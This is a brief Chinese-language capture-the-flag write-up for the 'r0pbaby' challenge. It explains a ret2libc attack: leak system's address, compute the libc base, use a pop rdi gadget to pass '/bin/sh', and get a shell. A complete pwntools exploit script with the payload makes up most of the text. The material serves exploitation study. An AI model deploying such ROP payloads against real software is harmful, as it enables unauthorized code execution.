Contents
  1. 1. r0pbaby

r0pbaby

这个以前刚入门的时候做的老题了,作为入门rop的题目,十分直白.运行程序,我们可以得到libc地址,函数地址和一个栈溢出漏洞.
通过选项2得到system地址,由于题目提供了libc,这样我们可以用system实际地址减去它在libc中的偏移,算出libc的基地址.
求得linc的基地址可以让我们算出’/bin/sh’的实际地址,再在程序中需找一个起rdi的gadget把’/bin/sh’的地址送到参数,调用system函数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level = 'debug'
#0x0000000000021102 : pop rdi ; ret

io = process('./r0pbaby_542ee6516410709a1421141501f03760')
lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gadget = 0x21102

io.recvuntil(':')
io.sendline('2')
io.recvuntil('symbol:')
io.sendline('system')
ret = io.recvuntil('4) Exit\n:')
left = ret.find('0x')
addr = int(ret[left:left + 18],16)
print hex(addr)

libc_base = addr - lib.symbols['system']

io.sendline('3')
io.recv()
payload = 'a' * 8 + p64(libc_base + gadget) + p64(libc_base + lib.search('/bin/sh').next()) + p64(addr)
io.sendline('32')
io.sendline(payload)
io.interactive()
Contents
  1. 1. r0pbaby